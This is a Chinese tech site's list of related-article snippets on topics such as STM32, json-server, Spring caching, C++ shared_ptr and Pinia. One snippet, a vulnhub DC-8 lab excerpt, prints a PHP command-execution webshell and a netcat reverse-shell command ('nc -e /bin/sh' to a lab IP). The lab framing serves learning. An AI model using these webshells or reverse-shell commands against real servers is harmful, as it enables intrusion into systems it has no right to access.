相关文章
第12章.STM32标准库简介
目录
0. 《STM32单片机自学教程》专栏
12.1 CMSIS 标准
12.2 STM32标准库文件结构
12.2.1 主结构
12.2.2 Libraries固件库文件
CMSIS文件夹
1.core_cm3.c&core_cm3.h 2.startup启动文件
3.Stm32f10x.h
4.system_stm32f10x.c&system_stm32f10…
建站知识
2025/5/1 17:16:02
软设之系统设计之模块设计
模块设计原则概述:
保持模块的大小适中
深度,宽度适中
扇入,扇出系数要合理
模块的作用域应该在模块之内
功能应该是可预测的
高内聚,低耦合
内聚性:
按照从高到低,从强到弱性能排序
功能内聚,顺序内聚&#…
建站知识
2025/5/1 6:45:10
Json-server 的使用教程
目录 前言一、简介二、安装与配置1. 安装 node-js2. npm 镜像设置3. 安装 json-server 三、使用1. 创建本地数据源2. 启动 Json Server3. 操作数据(1)查询数据(2)新增数据(3)修改数据(4…
建站知识
2025/4/28 10:53:40
后端中缓存的作用以及基于Spring框架演示实现缓存
缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的
长期对数据库进行数据访问
这样数据库的压力会越来越大
数据库扛不住了
创建了一个新的区域
程序访问去缓存 缓存区数据库
缓存里放数据
有效降低数据访问的压力 我们首先进行一个演示
为了演示…
建站知识
2025/5/1 1:55:54
可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8
命令执行
拿nc举例
<?php
echo system($_POST[cmd]);
?>利用是hackbar,POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。
一句话木马
<?php
eval($_POST[&qu…
建站知识
2025/4/30 17:46:28
web前端教程全套:从入门到精通的全方位探索
web前端教程全套:从入门到精通的全方位探索
在数字时代的浪潮中,Web前端技术作为连接用户与数字世界的桥梁,日益受到重视。本文将围绕Web前端教程的全套内容,从四个方面、五个方面、六个方面和七个方面展开深入剖析,旨…
建站知识
2025/5/4 20:12:00
C++ shared_ptr
shared_ptr共享它指向的对象,多个shared_ptr可以指向(关联)相同的对象,在内部采用计数机制来实现。 当新的shared_ptr与对象关联时,引用计数增加1。 当shared_ptr超出作用域时,引用计数减1。当引用计数变为…
建站知识
2025/4/30 1:37:58
vuejs3 pinia持久化存储
pinia地址:
开始 | Pinia
插件地址:
快速开始 | pinia-plugin-persistedstate
先安装pinia
npm install pinia
再安装插件
安装pinia后,再安装这个插件
npm i pinia-plugin-persistedstate
全局中引入持久化插件
在src目录下的main…
建站知识
2025/4/29 23:25:04